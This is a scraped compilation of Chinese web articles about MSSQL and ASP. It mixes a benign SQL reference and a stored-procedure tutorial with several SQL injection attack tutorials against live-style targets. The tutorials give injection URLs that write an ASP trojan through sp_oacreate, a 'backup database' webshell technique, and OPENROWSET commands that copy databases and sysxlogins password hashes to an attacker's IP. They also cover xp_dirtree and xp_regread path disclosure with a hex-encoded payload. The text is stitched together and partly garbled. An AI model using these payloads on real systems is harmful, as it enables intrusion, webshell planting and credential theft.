//www.xxx.com/list.asp?classid=1;declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripqing.filesystemobject',%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',%20@f%20out,%20'e：wwwtest.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse '—
在E：WWWtest.asp增加一行记录，记录为asp horse， 整个完整木马可能这样写入。(%百分号要用%25 替代写入)。如果得不到网页目录，怎么办呢？前提你要猜到网站是否使用默认WEB，或者使用域名作为WEB。

declare @o int exec sp_oacreate 'wscripq.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscripq.exe c：inetpubwwwrootmkwebdir.vbs -w "默认 Web 站点" -v "e","e："’
在默认的WEB站点下创建一个虚拟目录E，指向E：盘下。
declare @o int exec sp_oacreate 'wscripq.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscripq.exe c：inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse’
给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径，头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了，接下来工作应该由你来了。

SQL 语句参考及记录集对象详解

2008-11-25 11:47 作者：佚名 来源：企航中国 点击：2 次核心提示：SQL 语句参考及记录集对象详解 1. ASP 与 Access 数据库连接： 2. ASP 与 SQL 数据库连接： 建立记录集对象： set rs=server.createobject("adodb.recordset") rs.open SQL 语句,conn,3,2 3. SQL 常用命令使用方法： (1) 数据记录筛选： sql="sele
SQL 语句参考及记录集对象详解

1. ASP 与 Access 数据库连接：

2. ASP 与 SQL 数据库连接：

建立记录集对象：

set rs=server.createobject("adodb.recordset")
rs.open SQL 语句,conn,3,2

3. SQL 常用命令使用方法：

(1) 数据记录筛选：

sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]"

sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"

sql="select * from 数据表 where 字段名 in ('值 1','值 2','值 3')"

sql="select * from 数据表 where 字段名 between 值 1 and 值 2"

(2) 更新数据记录：

sql="update 数据表 set 字段名=字段值 where 条件表达式"

sql="update 数据表 set 字段 1=值 1,字段 2=值 2 …… 字段 n=值 n where 条件表达式"

(3) 删除数据记录：

sql="delete from 数据表 where 条件表达式"

sql="delete from 数据表" (将数据表所有记录删除)

(4) 添加数据记录：

sql="insert into 数据表 (字段 1,字段 2,字段 3 …) values (值 1,值 2,值 3 …)"

sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表)

(5) 数据记录统计函数：

AVG(字段名) 得出一个表格栏平均值
COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计
MAX(字段名) 取得一个表格栏最大的值
MIN(字段名) 取得一个表格栏最小的值
SUM(字段名) 把数据栏的值相加

引用以上函数的方法：

sql="select sum(字段名) as 别名 from 数据表 where 条件表达式"
set rs=conn.excute(sql)

用 rs("别名") 获取统的计值，其它函数运用同上。

(5) 数据表的建立和删除：

CREATE TABLE 数据表名称(字段 1 类型 1(长度),字段 2 类型 2(长度) ……)

例：CREATE TABLE tab01(name varchar(50),datetime default now())

DROP TABLE 数据表名称 (永久性删除一个数据表)

4. 记录集对象的方法：

rs.movenext 将记录指针从当前的位置向下移一行
rs.moveprevious 将记录指针从当前的位置向上移一行
rs.movefirst 将记录指针移到数据表第一行
rs.movelast 将记录指针移到数据表最后一行

原创：数据库】SQL SERVER 数据库开发之存储过程应用

标　　题：SQL SERVER 数据库开发之存储过程的应用
作　　者：栽培者
日　　期：2005-12-27
说　　明：由于个人能力有限，文章中难免会出现错误或遗漏的地方，敬请谅解！同时欢迎你指出，以便我能及时修改，以免误导下一个看官。最后希望本文能给你带来一定的帮助。

序

可能有不少朋友使用 SQL SERVER 做开发也已经有段日子，但还没有或者很少在项目中使用存储过程，或许有些朋友认为根本没有必要使用存储过程等等。其实当你一个项目做完到了维护阶段时，就会发现存储过程给我们带来了好处了，修改方便，不能去改我们的应用程序，只需要改存储过程的内容，而且还可以使我们的程序速度得到提高。

QUOTE:
SQL SERVER 联机丛书中的定义：
存储过程是保存起来的可以接受和返回用户提供的参数的 Transact-SQL 语句的集合。
可以创建一个过程供永久使用，或在一个会话中临时使用（局部临时过程），或在所有会话中临时使用（全局临时过程）。
也可以创建在 Microsoft SQL Server 启动时自动运行的存储过程。
要使用存储过程，首先我们必需熟悉一些基本的 T-SQL 语句，因为存储过程是由于一组 T-SQL 语句构成的，并且，我们需要了解一些关于函数、过程的概念，因为我们需要在应用程序中调用存储过程，就像我们调用应用程序的函数一样，不过调用的方法有些不同。

下面我们来看一下存储过程的建立和使用方法。

一、创建存储过程

和数据表一样，在使用之前我们需要创建存储过程，它的简明语法是：

QUOTE:
CREATE PROC 存储过程名称
[参数列表（多个以“,”分隔）]
AS
SQL 语句
例：

QUOTE:
```
CREATE PROC upGetUserName
@intUserId        INT,
@ostrUserName NVARCHAR(20) OUTPUT              -- 要输出的参数
AS
BEGIN
      -- 将uName的值赋给 @ostrUserName 变量，即要输出的参数
      SELECT @ostrUserName=uName FROM uUser WHERE uId=@intUserId
END
```

其中 CREATE PROC 语句（完整语句为CREATE PROCEDURE）的意思就是告诉SQL SERVER，现在需要建立一个存储过程，upGetUserName 就是存储过程名称，@intUserId 和 @ostrUserName 分别是该存储过程的两个参数，注意，在SQL SERVER中，所有用户定义的变量都以“@”开头，OUTPUT关键字表示这个参数是用来输出的，AS之后就是存储过程内容了。只要将以上代码在“查询分析器”里执行一次，SQL SERVER就会在当前数据库中创建一个名为“upGetUserName”的存储过程。你可以打开“企业管理器”，选择当前操作的数据库，然后在左边的树型列表中选择“存储过程”，此时就可以在右边的列表中看到你刚刚创建的存储过程了（如果没有，刷新一下即可）。

二、存储过程的调用

之前我们已经创建了一个名为“upGetUserName”的存储过程，从字面理解该存储过程的功能是用来取得某一个用户的名称。存储过程建立好了，接下来就是要在应用程序里调用了，下面看一下在 ASP 程序里的调用。

QUOTE:
```
Dim adoComm
'// 创建一个对象，我们用来调用存储过程
Set adoComm = CreateObject("ADODB.Command")
With adoComm
      '// 设置连接，设 adoConn 为已经连接的 ADODB.Connection 对象
      .ActiveConnection = adoConn
      '// 类型为存储过程，adCmdStoredProc = 4
      .CommandType = 4
      '// 存储过程名称
      .CommandText = "upGetUserName"
      '// 设置用户编号
      .Parameters.Item("@intUserId").Value = 1
```

```
    '// 执行存储过程
    .Execute

    '// 取得从存储过程返回的用户名称
    Response.Write "用户名：" & .Parameters.Item("@ostrUserName").Value
End With
'// 释放对象
Set adoComm = Nothing
```

通过以上两步，我们已经可以创建和使用简单的存储过程了。下面我们来看一个稍微复杂点的存储过程，以进一步了解存储过程的应用。

三、存储过程的实际应用

用户登录在 ASP 项目中经常会使用到，相信很多朋友也都做过类似的系统，但使用存储过程来做验证朋友可能不多，那么我们就以它来做例子，写一个简单的用户登录验证的存储过程。

QUOTE:

```
CREATE PROC upUserLogin
@strLoginName       NVARCHAR(20),
@strLoginPwd        NVARCHAR(20),
@blnReturn          BIT OUTPUT
AS
-- 定义一个临时用来保存密码的变量
DECLARE @strPwd NVARCHAR(20)
BEGIN
    -- 从表中查询当前用户的密码，赋值给 @strPwd 变量，下面要对他进行比较
    SELECT @strPwd=uLoginPwd FROM uUser WHERE uLoginName=@strLoginName

    IF @strLoginPwd = @strPwd
        BEGIN
            SET @blnReturn = 1
            -- 更新用户最后登录时间
            UPDATE uUser SET uLastLogin=GETDATE() WHERE uLoginName=@strLoginName
        END
    ELSE
        SET @blnReturn = 0
END
```

用户登录的存储过程建立好了，现在在程序里试一下吧。注意，在一个区域内如果有多条语句时，必需使用BEGIN...END关键字。

QUOTE:

```
Dim adoComm
'// 创建一个对象，我们用来调用存储过程
Set adoComm = CreateObject("ADODB.Command")
With adoComm
    '// 设置连接，设 adoConn 为已经连接的 ADODB.Connection 对象
    .ActiveConnection = adoConn
    '// 类型为存储过程，adCmdStoredProc = 4
    .CommandType = 4
    '// 存储过程名称
    .CommandText = "upUserLogin"
    '// 设置登录名称
    .Parameters.Item("@strLoginName").Value = "admin"
    '// 设置登录密码
    .Parameters.Item("@strLoginPwd").Value = "123456"
    '// 执行存储过程
    .Execute

    '// 判断是否登录成功
    If .Parameters.Item("@blnReturn").Value = 1 Then
        Response.Write "恭喜你，登录成功！"
    Else
        Response.Write "不是吧，好像错了哦。。。"
    End If
End With
'// 释放对象
Set adoComm = Nothing
```

通过以上的步骤，简单用户登录验证过程也做完了，现在只要把它整合到程序中就可以实现简单的用户登录验证了，关于其他细节就由你自己来处理了。

上面介绍的两个存储过程都是只返回一个值的，下面我们来看一个返回一个记录集的存储过程。

QUOTE:

```
CREATE PROC upGetUserInfos
@intUserGroup        INT
AS
BEGIN
    -- 从数据库中抽取符合条件的数据
    SELECT uName,uGroup,uLastLogin FROM uUser WHERE
uGroup=@intUserGroup
    -- 插入一列合计
    UNION
    SELECT '合计人数:',COUNT(uGroup),NULL FROM uUser WHERE
uGroup=@intUserGroup
```

END

现在我们来看一下ASP程序的调用。

QUOTE:

```
Dim adoComm
Dim adoRt
'// 创建一个对象，我们用来调用存储过程
Set adoComm = CreateObject("ADODB.Command")
Set adoRs = CreateObject("ADODB.Recordset")
With adoComm
    '// 设置连接，设 adoConn 为已经连接的 ADODB.Connection 对象
    .ActiveConnection = adoConn
    '// 类型为存储过程，adCmdStoredProc = 4
    .CommandType = 4
    '// 存储过程名称
    .CommandText = "upGetUserInfos"
    '// 设置用户组
    .Parameters.Item("@intUserGroup").Value = 1
    '// 执行存储过程，和以上几个例子不同，这里使用 RecordSet 的 Open 方法
    adoRs.Open adoComm
    '// 显示第一个值
    Response.write adoRs.Fields(0).Value
End With
'// 释放对象
Set adoRs = Nothing
Set adoComm = Nothing
```

怎么样，是不是也很简单呢，不过存储过程的用处不仅仅只有这些，他还有更强大的功能，比如使用游标、临时表来从多个表，甚至是多个数据库中调用数据，然后返回给用户，这些你可以在使用过程中慢慢的去发掘。

利用 mssql backup 创建webshell

[来源：http://www.91now.com/down/ | 作者： | 时间：2007-5-18 17:41:06 | 浏览： 105 人次]

最早想到利用数据库系统来写文件大约 MySQL 下面的事情吧，我记得有篇经典的贴子是讲利用 TCP 反弹结合输入法漏洞入侵的，第一步，也是很重要的一步就是利用了 MySQL 导出表到文件获得了一个 web 上的 shell。ACCESS 功能不那么强大，有注入漏洞的时候也不能直接获得执行任何命令的权限，就不说了；MSSQL 倒是有很多人详细研究过，执行命令的方法罗列了很多，可是没有了 exec 的权限，所做的还是有限。很多人就在问，MSSQL 下面能不能导出一张表到文件，就像 MySQL 那样子，至少先获得一个低权限的 shell 来看看，我找来找去

也没有找到导出表的命令，只好另想方法--不能导出表，那就只好导出数据库了，效果嘛，大部分情况下还是一样的。
在说明做法前，还是先来看看为什么可以。IIS 在通过 asp.dll 处理.asp 扩展名文件的时候，对以外的内容，不做任何处理就直接输出，比如拷贝一个.exe 文件到 web 发布目录，改扩展名为.asp 后在 IE 中请求，返回来的结果是多半是.exe 文件的内容，而不会是一个 500 服务器内部错误。而对于括起来的内容，默认情况下是按照 VBscripqs 的方式解释执行后给出结果，如果在里面的内容有语法错误，才会出现常见的 500 服务器内部错误。换句话说，如果有一个以.asp 为扩展名的文件，只要能精心控制所有的中的内容，我们就能够让它正确的执行，而至于以外的东西，asp.dll 不去处理它，我们也不去关心。
再来看看在 MSSQL 下使用 backup database 的情况。随便导出一个数据库看看，比如 model，当然了，可以在查询分析器中做：
backup database model to disk='c:a.txt'

用文本的方式打开这个文件。通过上面的分析，我们只要知道默认的情况下，如果把这个文件改扩展名为.asp 后，请求时会不会出现问题，于是我们查找是否存在，呵呵，显然是没有的吧，也就是说我们的请求会返回文本方式的内容。首先是默认的导出文件不会导致解释执行时的错误，这是很关键的一步，剩下的就是我们要让他变为一个 shell，当然是做一个表进去了，表的内容在备份的时候一定会被存储到备份文件中去的，我们可以控制表的内容，自然也可以控制备份文件的内容。
到这里可能有人已经想一股脑儿把经典的 asp shell 的内容写入新建的表然后 backup database 了，嗯，还没有那么简单，你这样做了的话，如果还想继续我们的实验，那可能要花上重装 MSSQL 的代价。对于文本类型等的数据，比如 text,nvchar 等，在数据库中可能的形式是"abc"，但是在导出文件中，已经变成了宽字符的形式，成了"a b c "，这样子的话，即使你好心写的是一个"，这样子，我们才能完全的控制内的内容，保证能够得到一个正确无误的 asp shell。
OK，终于到了实践的部分了。通过上面的分析，应该知道利用 backup database 来做一个 shell 是完全可行的，我们先来改写一下那个利用 FSO 的 asp shell，使其能够符合我们的要求：

" method="POST">

<%= szCMD %> Run

然后打开查询分析器，依次输入以下的 SQL 查询语句。这些语句的大意就是创建一张表，里面有一个二进制 image 类型的列，然后把我们上面改写的那个 shell 作为内容输进去，最后导出整个数据库到一个.asp 文件，开始！

```
use model
create table cmd (str image);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’

″ method=″POST″>’);

insert into cmd(str) values (’<%= szCMD %> Run
’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
insert into cmd(str) values (’’);
```

```
insert into cmd(str) values (’’);
backup database model to disk=’c:1.asp’;
```

拷贝 c:1.asp 到你的 web 发布目录，再用浏览器请求一下，没有 500 错误的话，你已经获得一个 shell 了，不过这个 shell 中垃圾数据实在是太多，你要多按几下 TAB 键才能到输入命令的那个输入框。
末了再说说可能出现的问题，一般来说随意选择一个数据库导出，默认情况下里面是不含有的，但也不排除有这种可能，尽管几率很小，但是我就遇到过一次。如果以前没有动过 model，导出的文件肯定是符合要求的，但是如果你中途如果写错了些东西，比如创建了一个表，内容有出现的话，这个数据库就再也不能用了，因为也许是为了事务回滚的需要，即使你删除了这张表，在导出的文件中依然保存有这张表的原始内容，所以，千万要一次成功，错了就完了。
当然上面只是在查询分析器中的实验，实际情况下，如果你能以 sa 的身份注入，当然是比较轻松的，只是猜测 web 的物理路径的时候可能会稍微有一些麻烦，因为你得一次性导出到 web 的发布目录，不过也许你可以结合其他暴露物理路径的漏洞来利用。如果不是 sa 的身份的话，也许 declare @a sysname;select @a=db_name()会有一些用处。成功的几率，不敢说的太高，估计 80%还是有的吧，如果你真的通过这种方法得到了 shell，其实你会发现，这真是世界上最可爱最好用的 asp shell--尽管有很多垃圾数据，也许还是个 2、3M 的大家伙

SQL_Injection高级应用 作者:apachy 灌一篇水，写一点关于SQL Injection的高级应用,针对SQL Server的。我假设你已经非常了解SQL Injection的基本概念。【目标探测】当大多数人都意识到SQL Injection的威胁并进行一番修补之后，可能很难再找到下手的地方。但若想成功就必需要冷静耐心，当然有时也需要一点点运气；） 如果有源码，一定要耐心仔细地看。在一个庞大的系统中，是很难做到万无一失的。而只要有一处漏洞，就足够威胁整个系统。千里之堤，溃于蚁穴。这里主要总结一些Injection的高级用法。如何发现漏洞不是此篇主题，可参考我以前的一篇文章《发掘另类injection》 需要说明的是，Injection不只存在于web页面，应用程序也存在，绝不可以只见树木不见森林。对任何一种技术的认识和理解要精益求精，将作用发挥的淋漓尽致。言归正传： 一、开启远程数据库基本语法 select * from OPENROWSET(’SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123’, ’select * from table1’) 参数: (1) OLEDB Provider name (2) 连接字符串 (OLEDB数据源 或 ODBC 连接字符串) (3) SQL语句 其中连接字符串参数可以是任何和端口用来连接,比如 select * from OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table’) 二、复制数据库利用一个Injection漏洞，可以经过无数次穷举探测来得到数据库中的信息。通常是手动输入，用来探测几位或十几位长的字段还是可行的（比如用来破解密码）。但还是想更简单一点，干脆写个程序来自动完成这个过程。后来又发现既便用程序，带入的字符依然很有限制，比如想得到数据库中一个“备份型”字段中的全部数据，这似乎是根本不可能的。有没有更简洁的办法。当然有，把整个数据库复制下来！前提：在本机需要装上SQL SERVER,并且有一个公网IP。要复制目标主机的整

个数据库，首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接，刚才已经讲了),之后insert所有远程表到本地表。 基本语法：
insert into
OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2 这行语句将目标主机上table2 表中的所有数据复制到远程数据库中的table1 表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如： insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2 需要注意的是，要成功执行这条语句的前提是必需先在本地建立一个table1，而且table1的结构必需和目标主机上table2 的结构一摸一样。为了得到table2 的结构，必需从系统数据库着手。首先需要了解一些SQL Server系统数据库构造的知识。当新建用户数据库后，数据库中包含一些系统表，和这个数据库相关的信息就包含在这个表中。表信息，字段名、字段类型、存储过程等关键信息均存放于sysdatabases，sysobjects,syscolumns里面。因此可以通过复制这几个关键系统表来获得目标主机上数据库的构造信息。方法如下： insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases') select * from master.dbo.sysdatabases insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects') select * from user_database.dbo.sysobjects insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns') select * from user_database.dbo.syscolumns 之后，便可以从本地数据库中看到目标主机的库结构，这已经易如反掌，不多讲，复制数据库： insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1 insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2 ..... 三、复制哈西表（HASH） 这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下： insert into
OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins 得到hash之后，就可以进行暴力破解。这需要一点运气和大量时间。 四、防火墙处理这上述几种方法最根本的一个前提就是要求目标主机连接本地主机，所以这里必需考虑防火墙的因素。在上述所

跨站式 SQL 注入数据库攻击和防范技巧

2005-01-27 10:06 作者：老凯出处：天极 BLOG 责任编辑：方舟　　前一阶段，在尝试攻击一个网站的时候，发现对方的系统已经屏蔽了错误信息，用的也是普通的帐号连接的数据库，系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式 SQL 注入”。

思路如下，既然你不显示错误信息，我能不能让你显示到别的地方呢？让 SQL 把错误写入别的地方。

既然是研究阶段，我们最好不要直接注入网站，而是首先用查询分析器来分析这个方法。

第一个想法：

SQL 可以连接外部的数据库。

于是，首先用查询分析器，登陆到我自己的一个虚拟主机的数据库（这样的权限比较小），然后在本地启动一个 SQL server，并且用 SA 的身份在 SQL 事件探测器里边建立一个跟踪。

尝试 sp_addlinkedserver 如果成功，那就和操作本地数据库一样了。

提示必须是 sysadmin 的身份。。失败。

换一个思路：

只要你 SQL 敢发命令过来，我不管执行的结果怎么样，只要接获到命令就可以了。

于是考虑到一个权限要求不是很高的命令：OPENROWSET 来跨服务器查询。这个命令作用是把一个数据库命令发给远程的数据库，取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。

第一次尝试，首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库，这里我考虑，直接生成一个跨库的脚本算了。好方便执行。。

DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET("SQLOLEDB","你的 IP";"sa";"密码", "SELECT * FROM pubs.dbo.authors where au_fname="" + @result + """)AS a');--

这段代码什么意思哪？就是把网站的路径信息写入数据库。也不是单纯的写，写得同时构造一个 SQL 语句，这个语句的执行结果是给 laokai 这个数据库的 cha8 字段增加了这样的一行记录。

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的 IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname="C:Inetpub,,1"')AS a

其中的 C:Inetpub,,1 就是注册表记录的根目录,最后要做的是:

DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

这样就等于执行了

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的 IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname="C:Inetpub,,1"')AS a

这一条语句，同时你会在事件探测器那边会显示

SELECT * FROM pubs.dbo.authors where au_fname='C:Inetpub,,1'

其中的 C:Inetpub 就是网站的路径。。调试成功。。

现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢？

a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--

返回正常,我们建立了一个叫 laokai 的表，有个字段叫 cha8,然后:

a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET("SQLOLEDB","你的 IP";"sa";"密码", "SELECT * FROM pubs.dbo.authors where au_fname="'' + @result + ''"')AS a');--

出错了.....出错信息被屏蔽了.....怎么办？经过研究发现是里边的某些字符例如 +号需要转化成 16 进制，或许还有别的地方要转化.....怎么办啊？

于是写了一个ASCII转化 16 进制的工具，把全部的代码转化一下，然后注入就OK了。（工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘，不要让他们下，我的服务器受不了）,最后自然是执行上述语句了。

a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65

%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/33.shtml' target='_blank' class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20

执行成功。

a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:

注入成功。。后边知道了绝对路径，如何添加木马的文章就很多了。。这里就不再描述了。。

最后说明一下：这只是一个新型的攻击思路的讲解，让大家通过另外一种方式把数据库里边的数据取出来。。

"SELECT * FROM pubs.dbo.authors where au_fname='" + @result + "'" 部分，修改成 insert 把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个 exec 'C:Inetpub,,1'

怪异的 SQL 注入

【 作者：amanl 来源：Bugkidz和Security Angel 更新时间：2004-7-6 | 字体：大 中 小】

-
发布日期：2004-06-29
SQL注入以独特、新奇、变异的语句迎来了技术又一大突破，当然要针对奇、特这两方面作文章，要达到一出奇招，必达核心！那才是SQL注入技术的根本所在。长期以来，MS SQL以它强大的存储进程给我们带来了极大的方便，而如今注入技术主要依靠IIS出错与MS SQL系统提示信息来判断，那利用SELECT构造特殊语句，使系统出错来得到我们要的更深入的信息，如爆库、爆表等，能不能取得详细信息呢？答案是能，但必出奇招！下面我们一步步来拆解奇招！
首先打开MS SQL查询分析器，输入：
xp_dirtree适用权限PUBLIC
语句：exec master.dbo.xp_dirtree 'c:'

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。想到了什么？别急，我们继续！
语句：create table dirs(paths varchar(100), id int)
作用：建表的语句，大家都熟悉吧？但这里建的表起到关键的作用！也就是和上面xp_dirtree相关连，字段相等、类型相同，为我们下一步操作作下铺垫。再来，谜底就要揭晓！
语句：insert dirs exec master.dbo.xp_dirtree 'c:'
作用：大家觉得奇怪吧？INSERT语句这样是不是有问题呢？ＮＯ！原理是只要我们建表与存储进程返回的字段相定义相等就能够执行！与常规INSERT TABLE(COLOUMN) VALUES(VALUES)差别就是在此，VALUES值我们无法放置存储进程，利用简写：insert dirs exec master.dbo.xp_dirtree 'c:'，而达到写表的效果——既然可以写表，那我们就可利用未公开存储进程来一步步达到我们想要的信息！
上面的东西大家明白了吗？不明白没关系，过招在于实战，实践胜于理论，那我们就来过过招！实际看下！以下用一个网站作为基点作测试，注意：以下测试的权限非SA权限！
语句：http://www.xxxxx.com/down/list.asp?id=1'
返回：Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 " 之前有未闭合的引号。
/down/list.asp，行 21
测试权限结构：

语句 1：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句 2：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句 3：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句 4：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句 5：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句 6：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句 7：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句 8：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句 9：http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--
通过实际测试，只有DB_OWNER语句正常返回信息，可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者)，跳过爆库爆表步骤，以前黑防讲得很清楚，大家可以翻看臭要饭的《跨库查询你想怎么玩》，现在我们得到管理员的表和管理表资料，进一步得到权限有两种方法：意思爆出所有字段，取管理后台用户密码，难点在于找管理后台路径，是个体力活；另一个是通过BACKUP直接上传WEBSHELL，难点在于寻找WEB目录。
手工猜解管理后台路径的成功几率很低，要用XP_DIRTREE来得到我们想要的信息，下面的方法或许要简单一点！第一次公布出来，或许很多朋友在用，不过绝对非常好！我们把路径写到表里去！
语句：http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回：正常的信息！说明建表成功！继续！
语句：http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:'--
返回：正常信息。说明写入C盘的所有目录成功了！爽！接下来就是取表了！暴它出来。
语句：http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回：Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称！
语句：http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:WEB下，得到网页目录后两种选择，一是进一步获取网站管理后台，另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高，我们先来猜猜它的管理后

台吧！这里要使用XP_DIRTREE，但是由于XP_DIRTREE是取得一个硬盘分区的目录树，让我们容易混乱，所以就来一层层得到下级目录吧：
语句：http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句：http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:web'--
语句：http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
